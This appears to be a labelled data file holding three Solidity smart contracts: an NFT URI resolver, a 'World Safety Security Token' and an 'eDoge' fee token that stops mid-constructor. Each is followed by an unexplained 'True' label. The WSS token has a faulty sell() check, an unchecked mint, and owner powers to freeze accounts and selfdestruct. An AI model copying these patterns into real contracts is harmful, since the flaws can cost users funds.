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/** *Submitted for verification at Etherscan.io on 2021-11-17 */ /// SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IChromiaNetResolver { function getNFTURI(address contractAddress, uint id) external view returns (string memory); } contract ChromiaNetResolver is Ownable, IChromiaNetResolver { using Strings for uint256; IChromiaNetResolver public upgrayedd = IChromiaNetResolver(0x0); string public constant baseURI = "https://chromia.net/oe/eth/"; constructor () public {} function upgrade(IChromiaNetResolver nextOne) external onlyOwner { upgrayedd = nextOne; } function getNFTURI(address contractAddress, uint id) override external view returns (string memory) { if (upgrayedd == IChromiaNetResolver(0x0)) return string(abi.encodePacked(baseURI, uint256(uint160(address(contractAddress))).toHexString(20), "/", id.toString())); else return upgrayedd.getNFTURI(contractAddress, id); } }

True

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pragma solidity ^0.4.21; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } function destruct() public onlyOwner { selfdestruct(owner); } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20() public { totalSupply = 10000000000 * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = "World Safety Security Token"; // Set the name for display purposes symbol = "WSS"; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } } /******************************************/ /* ADVANCED TOKEN STARTS HERE */ /******************************************/ contract WorldSafetySecurityToken is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; uint256 public decimals = 18; string public tokenName; string public tokenSymbol; string public PartnerUrl; uint minBalanceForAccounts; //threshold amount mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ function WorldSafetySecurityToken() public { owner = msg.sender; totalSupply = 10000000000000000000000000000; balanceOf[owner]=totalSupply; tokenName="World Safety Security Token"; tokenSymbol="WSS"; } /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient emit Transfer(_from, _to, _value); } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; emit Transfer(0, this, mintedAmount); emit Transfer(this, target, mintedAmount); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value / buyPrice; // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers } /// @notice Sell `amount` tokens to contract ///@param amount amount of tokens to be sold function sell(uint256 amount) public { //require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy require(balanceOf[msg.sender] >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks } /* 设置自动补充gas的阈值信息 201803202232 james */ function setMinBalance(uint minimumBalanceInFinney) public onlyOwner { minBalanceForAccounts = minimumBalanceInFinney * 1 finney; } /* 设置tokenname */ function setTokenName(string newTokenName) public onlyOwner{ tokenName = newTokenName; name = newTokenName; } /* 设置tokenSymbol */ function setTokenSymbol(string newTokenSymbol) public onlyOwner{ tokenSymbol = newTokenSymbol; symbol = newTokenSymbol; } /* 空投 */ function AirDrop(address[] dests, uint256[] values) public onlyOwner returns(uint256) { uint256 i = 0; while (i < dests.length) { _transfer(this,dests[i], values[i]); i += 1; } return i; } }

True

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/** *Submitted for verification at Etherscan.io on 2021-06-06 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.3; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract PlatinumeDoge is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; address private _charityWalletAddress = 0x84563fDE041E3f59Ae70C0B152c9a84f5784C46A; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 21000000000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "eDoge"; string private _symbol = "eDoge"; uint8 private _decimals = 9; uint256 public _taxFee = 3; uint256 private _previousTaxFee = _taxFee; uint256 public _charityFee = 4; uint256 private _previousCharityFee = _charityFee; uint256 public _liquidityFee; uint256 private _previousLiquidityFee = _liquidityFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 5000000 * 10**6 * 10**9; uint256 private numTokensSellToAddToLiquidity = 500000 * 10**6 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _rOwned[owner()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; 